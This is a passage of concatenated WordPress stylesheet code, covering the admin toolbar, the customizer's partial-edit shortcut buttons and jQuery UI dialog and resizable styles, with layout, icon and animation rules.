#wp-admin-bar-user-actions>li{margin-left:16px;margin-right:16px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:6px 0 12px}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin-left:88px}#wpadminbar #wp-admin-bar-user-info{margin-top:6px;margin-bottom:15px;height:auto;background:0 0}#wp-admin-bar-user-info .avatar{position:absolute;left:-72px;top:4px;width:64px;height:64px}#wpadminbar #wp-admin-bar-user-info a{background:0 0;height:auto}#wpadminbar #wp-admin-bar-user-info span{background:0 0;padding:0;height:18px}#wpadminbar #wp-admin-bar-user-info .display-name,#wpadminbar #wp-admin-bar-user-info .username{display:block}#wpadminbar #wp-admin-bar-user-info .username{color:#a7aaad;font-size:11px}#wpadminbar #wp-admin-bar-my-account.with-avatar>.ab-empty-item img,#wpadminbar #wp-admin-bar-my-account.with-avatar>a img{width:auto;height:16px;padding:0;border:1px solid #8c8f94;background:#f0f0f1;line-height:1.84615384;vertical-align:middle;margin:-4px 0 0 6px;float:none;display:inline}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{width:15px;height:20px;margin-right:0;padding:6px 0 5px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0 7px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{content:"\f120";top:2px}#wpadminbar .quicklinks li .blavatar{display:inline-block;vertical-align:middle;font:normal 16px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#f0f0f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar{color:#72aee6}#wpadminbar .quicklinks li div.blavatar:before,#wpadminbar .quicklinks li img.blavatar{height:16px;width:16px;margin:0 8px 2px -2px}#wpadminbar .quicklinks li div.blavatar:before{content:"\f120";display:inline-block}#wpadminbar #wp-admin-bar-appearance{margin-top:-12px}#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f541";top:2px}#wpadminbar #wp-admin-bar-site-editor>.ab-item:before{content:"\f100";top:2px}#wpadminbar #wp-admin-bar-customize>.ab-item:before{content:"\f540";top:2px}#wpadminbar #wp-admin-bar-edit>.ab-item:before{content:"\f464";top:2px}#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f226"}.wp-admin #wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f102"}#wpadminbar #wp-admin-bar-comments .ab-icon{margin-right:6px}#wpadminbar #wp-admin-bar-comments .ab-icon:before{content:"\f101";top:3px}#wpadminbar #wp-admin-bar-comments .count-0{opacity:.5}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{content:"\f132";top:4px}#wpadminbar #wp-admin-bar-updates .ab-icon:before{content:"\f463";top:2px}#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{display:inline-block;animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{animation:none}}#wpadminbar #wp-admin-bar-search .ab-item{padding:0;background:0 0}#wpadminbar #adminbarsearch{position:relative;height:32px;padding:0 2px;z-index:1}#wpadminbar #adminbarsearch:before{position:absolute;top:6px;left:5px;z-index:20;font:normal 20px/1 dashicons!important;content:"\f179";speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input{display:inline-block;float:none;position:relative;z-index:30;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.84615384;text-indent:0;height:24px;width:24px;max-width:none;padding:0 3px 0 24px;margin:0;color:#c3c4c7;background-color:rgba(255,255,255,0);border:none;outline:0;cursor:pointer;box-shadow:none;box-sizing:border-box;transition-duration:.4s;transition-property:width,background;transition-timing-function:ease}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{z-index:10;color:#000;width:200px;background-color:rgba(255,255,255,.9);cursor:text;border:0}#wpadminbar #adminbarsearch .adminbar-button{display:none}.customize-support #wpadminbar .hide-if-customize,.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support #wpadminbar .hide-if-no-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#wpadminbar .screen-reader-text,#wpadminbar .screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .screen-reader-shortcut{position:absolute;top:-1000em;left:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal;text-decoration:none}#wpadminbar .screen-reader-shortcut:focus{top:7px;background:#f0f0f1;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}@media screen and (max-width:782px){html{--wp-admin--admin-bar--height:46px}html #wpadminbar{height:46px;min-width:240px}#wpadminbar *{font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.28571428}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks>ul>li>a{padding:0;height:46px;line-height:3.28571428;width:auto}#wpadminbar .ab-icon{font:40px/1 dashicons!important;margin:0;padding:0;width:52px;height:46px;text-align:center}#wpadminbar .ab-icon:before{text-align:center}#wpadminbar .ab-submenu{padding:0}#wpadminbar #wp-admin-bar-my-account a.ab-item,#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{text-overflow:clip}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:1.6}#wpadminbar .ab-label{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-top:-46px}#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop>.ab-item{padding-right:30px}#wpadminbar .menupop .menupop>.ab-item:before{top:10px;right:6px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper .ab-item{font-size:16px;padding:8px 16px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper a:empty{display:none}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{padding:0;width:52px;height:46px;text-align:center;vertical-align:top}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{font:28px/1 dashicons!important;top:-3px}#wpadminbar .ab-icon,#wpadminbar .ab-item:before{padding:0}#wpadminbar #wp-admin-bar-customize>.ab-item,#wpadminbar #wp-admin-bar-edit>.ab-item,#wpadminbar #wp-admin-bar-my-account>.ab-item,#wpadminbar #wp-admin-bar-my-sites>.ab-item,#wpadminbar #wp-admin-bar-site-editor>.ab-item,#wpadminbar #wp-admin-bar-site-name>.ab-item{text-indent:100%;white-space:nowrap;overflow:hidden;width:52px;padding:0;color:#a7aaad;position:relative}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon{padding:0;margin-right:0}#wpadminbar #wp-admin-bar-customize>.ab-item:before,#wpadminbar #wp-admin-bar-edit>.ab-item:before,#wpadminbar #wp-admin-bar-my-account>.ab-item:before,#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-editor>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{display:block;text-indent:0;font:normal 32px/1 dashicons;speak:never;top:7px;width:52px;text-align:center;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar #wp-admin-bar-appearance{margin-top:0}#wpadminbar .quicklinks li .blavatar:before{display:none}#wpadminbar #wp-admin-bar-search{display:none}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{top:0;line-height:1.33333333;height:46px!important;text-align:center;width:52px;display:block}#wpadminbar #wp-admin-bar-updates{text-align:center}#wpadminbar #wp-admin-bar-updates .ab-icon:before{top:3px}#wpadminbar #wp-admin-bar-comments .ab-icon{margin:0}#wpadminbar #wp-admin-bar-comments .ab-icon:before{display:block;font-size:34px;height:46px;line-height:1.38235294;top:0}#wpadminbar #wp-admin-bar-my-account>a{position:relative;white-space:nowrap;text-indent:150%;width:28px;padding:0 10px;overflow:hidden}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{position:absolute;top:13px;right:10px;width:26px;height:26px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:0}#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar{display:none}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin:0}#wpadminbar #wp-admin-bar-user-info .display-name{height:auto;font-size:16px;line-height:1.5;color:#f0f0f1}#wpadminbar #wp-admin-bar-user-info a{padding-top:4px}#wpadminbar #wp-admin-bar-user-info .username{line-height:.8!important;margin-bottom:-2px}#wp-toolbar>ul>li{display:none}#wpadminbar li#wp-admin-bar-comments,#wpadminbar li#wp-admin-bar-customize,#wpadminbar li#wp-admin-bar-edit,#wpadminbar li#wp-admin-bar-menu-toggle,#wpadminbar li#wp-admin-bar-my-account,#wpadminbar li#wp-admin-bar-my-sites,#wpadminbar li#wp-admin-bar-new-content,#wpadminbar li#wp-admin-bar-site-editor,#wpadminbar li#wp-admin-bar-site-name,#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:block}#wpadminbar li.hover ul li,#wpadminbar li:hover ul li,#wpadminbar li:hover ul li:hover ul li{display:list-item}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:-moz-fit-content;min-width:fit-content}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar #wp-admin-bar-comments,#wpadminbar #wp-admin-bar-edit,#wpadminbar #wp-admin-bar-my-account,#wpadminbar #wp-admin-bar-my-sites,#wpadminbar #wp-admin-bar-new-content,#wpadminbar #wp-admin-bar-site-name,#wpadminbar #wp-admin-bar-updates,#wpadminbar #wp-admin-bar-wp-logo,#wpadminbar .ab-top-menu,#wpadminbar .ab-top-secondary{position:static}#wpadminbar #wp-admin-bar-my-account{float:right}.network-admin #wpadminbar ul#wp-admin-bar-top-secondary>li#wp-admin-bar-my-account{margin-right:0}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before{top:10px;left:0}}@media screen and (max-width:600px){#wpadminbar{position:absolute}#wp-responsive-overlay{position:fixed;top:0;left:0;width:100%;height:100%;z-index:400}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{width:100%;left:0}#wpadminbar .menupop .menupop>.ab-item:before{display:none}#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper{margin-left:0}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{margin:0;width:100%;top:auto;left:auto;position:relative}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper .ab-item{font-size:16px;padding:6px 15px 19px 30px}#wpadminbar li:hover ul li ul li{display:list-item}#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:none}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{position:static;box-shadow:none}}@media screen and (max-width:400px){#wpadminbar li#wp-admin-bar-comments{display:none}}/*! This file is auto-generated */
.customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:right;width:1px;height:1px;padding:0;margin:-1px -1px 0 0;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{position:absolute;right:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,-1px 0 1px #135e96,0 1px 1px #135e96,1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{right:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-30px}}/*! This file is auto-generated */
/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-clearfix {
	min-height: 0; /* support: IE7 */
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	right: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
}


/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}


/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
}

/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	right: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	right: 0;
}
/* rtl:ignore */
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
/* rtl:ignore */
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
/* rtl:ignore */
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
/* rtl:ignore */
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}

/* WP buttons: see buttons.css. */

.ui-button {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2;
	height: 28px;
	margin: 0;
	padding: 0 10px 1px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
	color: #50575e;
	border-color: #c3c4c7;
	background: #f6f7f7;
	box-shadow: 0 1px 0 #c3c4c7;
	vertical-align: top;
}

.ui-button:active,
.ui-button:focus {
	outline: none;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.ui-button::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.ui-button:hover,
.ui-button:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.ui-button:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.ui-button:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.ui-button[disabled],
.ui-button:disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

@media screen and (max-width: 782px) {

	.ui-button {
		padding: 6px 14px;
		line-height: normal;
		font-size: 14px;
		vertical-align: middle;
		height: auto;
		margin-bottom: 4px;
	}

}

/* WP Theme */

.ui-dialog {
	position: absolute;
	top: 0;
	right: 0;
	z-index: 100102;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	overflow: hidden;
}

.ui-dialog-titlebar {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 16px 0 36px;
}

.ui-button.ui-dialog-titlebar-close {
	background: none;
	border: none;
	box-shadow: none;
	color: #646970;
	cursor: pointer;
	display: block;
	padding: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	border-radius: 0;
	overflow: hidden;
}

.ui-dialog-titlebar-close:before {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	line-height: 1.8;
	width: 36px;
	height: 36px;
	content: "\f158";
}

.ui-button.ui-dialog-titlebar-close:hover,
.ui-button.ui-dialog-titlebar-close:focus {
	color: #135e96;
}

.ui-button.ui-dialog-titlebar-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.ui-dialog-content {
	padding: 16px;
	overflow: auto;
}

.ui-dialog-buttonpane {
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 16px;
}

.ui-dialog-buttonpane .ui-button {
	margin-right: 16px;
}

.ui-dialog-buttonpane .ui-dialog-buttonset {
	float: left;
}

.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}

.ui-widget-overlay {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100101;
}
.customize-partial-refreshing {
	opacity: 0.25;
	transition: opacity 0.25s;
	cursor: progress;
}

/* Override highlight when refreshing */
.customize-partial-refreshing.widget-customizer-highlighted-widget {
	box-shadow: none;
}

/* Make shortcut buttons essentially invisible */
.widget .customize-partial-edit-shortcut,
.customize-partial-edit-shortcut {
	position: absolute;
	float: left;
	width: 1px; /* required to have a size to be focusable in Safari */
	height: 1px;
	padding: 0;
	margin: -1px 0 0 -1px;
	border: 0;
	background: transparent;
	color: transparent;
	box-shadow: none;
	outline: none;
	z-index: 5;
}

/**
 * Styles for the actual shortcut
 *
 * Note that some properties are overly verbose to prevent theme interference.
 */
.widget .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut button {
	position: absolute;
	left: -30px;
	top: 2px;
	color: #fff;
	width: 30px;
	height: 30px;
	min-width: 30px;
	min-height: 30px;
	line-height: 1 !important;
	font-size: 18px;
	z-index: 5;
	background: #3582c4 !important;
	border-radius: 50%;
	border: 2px solid #fff;
	box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15);
	text-align: center;
	cursor: pointer;
	box-sizing: border-box;
	padding: 3px;
	animation-fill-mode: both;
	animation-duration: .4s;
	opacity: 0;
	pointer-events: none;
	text-shadow:
		0 -1px 1px #135e96,
		1px 0 1px #135e96,
		0 1px 1px #135e96,
		-1px 0 1px #135e96;
}
.wp-custom-header .customize-partial-edit-shortcut button {
	left: 2px
}

.customize-partial-edit-shortcut button svg {
	fill: #fff;
	min-width: 20px;
	min-height: 20px;
	width: 20px;
	height: 20px;
	margin: auto;
}

.customize-partial-edit-shortcut button:hover {
	background: #4f94d4 !important; /* matches primary buttons */
}

.customize-partial-edit-shortcut button:focus {
	box-shadow: 0 0 0 2px #4f94d4;
}

body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-appear;
	pointer-events: auto;
}
body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-disappear;
	pointer-events: none;
}

.page-sidebar-collapsed .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button {
	visibility: hidden;
}

@keyframes customize-partial-edit-shortcut-bounce-appear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
	20% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	40% {
		transform: scale3d(.9, .9, .9);
	}
	60% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	80% {
		transform: scale3d(.97, .97, .97);
	}
	to {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
}

@keyframes customize-partial-edit-shortcut-bounce-disappear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
	20% {
		transform: scale3d(.97, .97, .97);
	}
	40% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	60% {
		transform: scale3d(.9, .9, .9);
	}
	80% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	to {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
}

@media screen and (max-width: 800px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		left: -32px;
	}
}

@media screen and (max-width: 320px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		left: -30px;
	}
}
/*! This file is auto-generated */
.customize-partial-refreshing {
	opacity: 0.25;
	transition: opacity 0.25s;
	cursor: progress;
}

/* Override highlight when refreshing */
.customize-partial-refreshing.widget-customizer-highlighted-widget {
	box-shadow: none;
}

/* Make shortcut buttons essentially invisible */
.widget .customize-partial-edit-shortcut,
.customize-partial-edit-shortcut {
	position: absolute;
	float: right;
	width: 1px; /* required to have a size to be focusable in Safari */
	height: 1px;
	padding: 0;
	margin: -1px -1px 0 0;
	border: 0;
	background: transparent;
	color: transparent;
	box-shadow: none;
	outline: none;
	z-index: 5;
}

/**
 * Styles for the actual shortcut
 *
 * Note that some properties are overly verbose to prevent theme interference.
 */
.widget .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut button {
	position: absolute;
	right: -30px;
	top: 2px;
	color: #fff;
	width: 30px;
	height: 30px;
	min-width: 30px;
	min-height: 30px;
	line-height: 1 !important;
	font-size: 18px;
	z-index: 5;
	background: #3582c4 !important;
	border-radius: 50%;
	border: 2px solid #fff;
	box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15);
	text-align: center;
	cursor: pointer;
	box-sizing: border-box;
	padding: 3px;
	animation-fill-mode: both;
	animation-duration: .4s;
	opacity: 0;
	pointer-events: none;
	text-shadow:
		0 -1px 1px #135e96,
		-1px 0 1px #135e96,
		0 1px 1px #135e96,
		1px 0 1px #135e96;
}
.wp-custom-header .customize-partial-edit-shortcut button {
	right: 2px
}

.customize-partial-edit-shortcut button svg {
	fill: #fff;
	min-width: 20px;
	min-height: 20px;
	width: 20px;
	height: 20px;
	margin: auto;
}

.customize-partial-edit-shortcut button:hover {
	background: #4f94d4 !important; /* matches primary buttons */
}

.customize-partial-edit-shortcut button:focus {
	box-shadow: 0 0 0 2px #4f94d4;
}

body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-appear;
	pointer-events: auto;
}
body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-disappear;
	pointer-events: none;
}

.page-sidebar-collapsed .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button {
	visibility: hidden;
}

@keyframes customize-partial-edit-shortcut-bounce-appear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
	20% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	40% {
		transform: scale3d(.9, .9, .9);
	}
	60% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	80% {
		transform: scale3d(.97, .97, .97);
	}
	to {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
}

@keyframes customize-partial-edit-shortcut-bounce-disappear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
	20% {
		transform: scale3d(.97, .97, .97);
	}
	40% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	60% {
		transform: scale3d(.9, .9, .9);
	}
	80% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	to {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
}

@media screen and (max-width: 800px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		right: -32px;
	}
}

@media screen and (max-width: 320px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		right: -30px;
	}
}
/*! This file is auto-generated */
/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
